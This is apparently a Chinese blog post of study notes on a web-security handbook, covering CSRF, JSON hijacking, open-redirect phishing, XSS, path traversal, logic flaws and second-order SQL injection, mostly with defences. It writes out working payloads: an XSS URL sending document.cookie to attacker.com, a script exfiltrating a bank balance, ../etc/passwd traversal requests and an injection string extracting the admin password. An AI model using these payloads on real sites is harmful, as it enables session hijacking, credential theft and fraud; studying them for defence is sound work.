Security

其原理仍是挟持受害人的session，然后利用这个session去做点别的事情 按攻击的发生地点，RF （Request Forgery）可分两种： 1.本站RF (OSRF)        a.已登录的受害人访问本站页面，此页面中有攻击者注入的脚本        b.这个脚本调用 http://本站/转账给攻击者.jsp  由于受害人已登录，这个脚本可以成功执行     Note: 攻击者并非一定要注入脚本。注入图片也可以：             <img src=”http://本站/转账给攻击者.jsp”/> 2.跨站RF (XSRF)        a.已在normal.com登录的受害人访问attacker.com的页面，此页面中有攻击者注入的脚本        b.这个脚本调用 http://normal.com/转账给攻击者.jsp  由于受害人已登录，这个脚本可以成功执行 如何防止： 在表单页面生成一个随机的Token，处理表单时检查一下这个Token是否正确。 如果有害脚本读取这个表单页面，解析出token呢？- 不可能。因为浏览器同源策略不允许ajax脚本读取其他域名的页面。 不能通过HTTP Referer来判断请示是否来自本站，因为这个很容易伪造。

如果脚本试图向本站（域名、端口相同）发送HTTP请求，浏览器会允许发出这种请求并返回响应 如果脚本试图向他站发送HTTP请求，浏览器仍会允许发出请求，但并不会返回响应 但是，可以通过以下代码绕过这个限制： var s = document.createElement("SCRIPT"); document.getElementsByTagName("HEAD")[0].appendChild(s); s.src="http://xxx.com/someJson.do";

攻： 如果网银中的“显示余额”功能是用 Ajax + JSON 做的，就可以按照 XSRF 的方式窃取这个信息.    1.用户登录网银了    2.然后他去一个论坛    3.论坛里有篇文章，其中有人利用XSS漏洞注入了一个脚本         <script>              var script = document.createElement("script");              script.src = "http://…/查看我的余额.json? callback=sendToAttacker";              document.getElelementsByTag("head")[0].appendChild(script);              function sendToAttacker(jsonData){                  //jsonData.余额                  sendToMySite(jsonData.余额)              }                      </script>     4.用户查看这篇文章，中标 ============================================================ 防：   1.能防RF，就能防JSON挟持   2.故意在JSON数据前面弄点乱七八糟的东西，这样就导致 script.scr=查看.json 出错，但浏览器拿到JSON时却不会出错   3.使“查看余额.json”只支持POST

攻： 1.已知：本系统中输入银行卡号的页面URL为 http://www.hello.com/pay.jsp。登录合点击某链接即可进入此页面 2.攻击者不登录，直接输入http://www.hello.com/pay.jsp 3.系统提示登录，提示页面的URL是 http://www.hello.com/login.jsp? redir=pay.jsp 4.攻击者把地址栏里的页面改成 http://www.hello.com/login.jsp? redir=http://www.hallo.com/pay.jsp，并想办法让别的用户点这个URL 5.上当者点这个URL，进入http://www. hallo.com 的卡号输入页面，然后糊里糊涂地把卡号信息提交给 http://www. hallo.com这个钓鱼网站 防：   1.系统不应该从参数中获取重定向的目标地址   2.如果必须要从参数中获取，则应该校验参数中的URL是相对URL

利用XSS漏洞可以干些什么？    1.替换网站的内容，比如股票价格什么的    2.注入木马    3.导致受害者在本网站执行操作。比如，在脚本里执行“转账”功能    4.攻击用户机器，比如记录所有键击、截获剪贴板内容等

如果你看到一个URL这样写：    http://hello.com/file?=hi.doc 那就可以试试看hi.doc的上层目录有没有东西    http://hello.com/file?=../etc/passwd    http://hello.com/file?=../../etc/passwd    http://hello.com/file?=../../../etc/passwd 直到你拿到密码为止    

开发人员喜欢做一些假设，而攻击者的操作却在假设之外 1.假设用户自己不会增、删、改HTTP参数 2.假设用户会按预定的顺序访问页面（攻击手段有 省略某些阶段、多次访问同一阶段，推后访问前一阶段，修改代表阶段的参数）。这种漏洞不但有可能暴露业务数据，甚至可能让人看到各种各样的异常信息 3.假设用户不会在最后一步提交前一步的参数 4.假设用户输入的金额是正数 5.没想到用户在获得折扣后会从购物车中删除大部分货物

FYI, 软件安全领域的关注焦点已从服务器端攻击转变为客户端攻击 原书说，“ XSS攻击是针对其它用户的重量级攻击” 1.反射型漏洞    a.URL参数中接受一个文本 http://hello.com/msg.jsp?msg= Sorry，页面渲染后这个文本将打 印在页面上 <p>Sorry</p>，亦即将用户在HTTP参数中输入的文本“ 反射”给用户    b.攻击者在参数中不输入正常的文本，而是一段javascript，然后把这个URL发给一个用户         http://hello.com/msg.jsp?msg= <script>var+i=new+Image;+i.src="http://attacker.com/"%2bdocument.cookie;</script>    c.收到这个URL的用户点击之，就会使浏览器执行以下脚本    var i = new Image; i.src="http://attacker.com/"+[b]document.cookie[/b];        也就是说把自己的cookie发给了攻击者拥有的网站 "http://attacker.com/"。攻击者就这样简单地 挟持了一个会话。      这个脚本收集了 hello.com的Cookie，却把Cookie发到了 attacker.com，也就是说，这是个 跨站点的脚本 2.保存型漏洞    发表文章时，写入一段脚本，其他用户看你的帖子时就会执行这段脚本。    这种攻击很厉害：反射型攻击需要诱使别人点你的链接，这种攻击不用；别人点你的链接时基本上已 经登录了，这样你劫持到的session就更好用。    你甚至可以把脚本写入到图片中，对某些版本的IE来说，如果输入 http://../actual_script.jpg， IE浏览器会把它当HTML来解析。

这章讲了很多SQL注入相关的攻击手段，但现在大部分网站都没有这个漏洞了。 只有一点可以稍提一下，就是 Second Order SQL Injection 比如说，你写的用户名是 foo’，由于系统使用了防注入，所以这种用户名没有引起问题，foo’ 被存进入了数据库 然后你要求修改 foo’ 的密码。这时系统从数据库里取出用户名，由于 系统只防止了用户输入中的非法字符，而对数据库中已有的数据没有去预防，因此就有可能造成这样的SQL:     select password from user where name = ‘foo” 这就会产生数据库语法错误。如果 你设定的用户名是   ‘ or 1 in (select password from users where userame=’admin’) — 那最终的SQL就是     select password from user where name = ‘ ‘ or 1 in (select password from users where …

黑客攻防技术宝典 — Notes 6.1 注入攻击 — SQL注入 Read More »

以后再说吧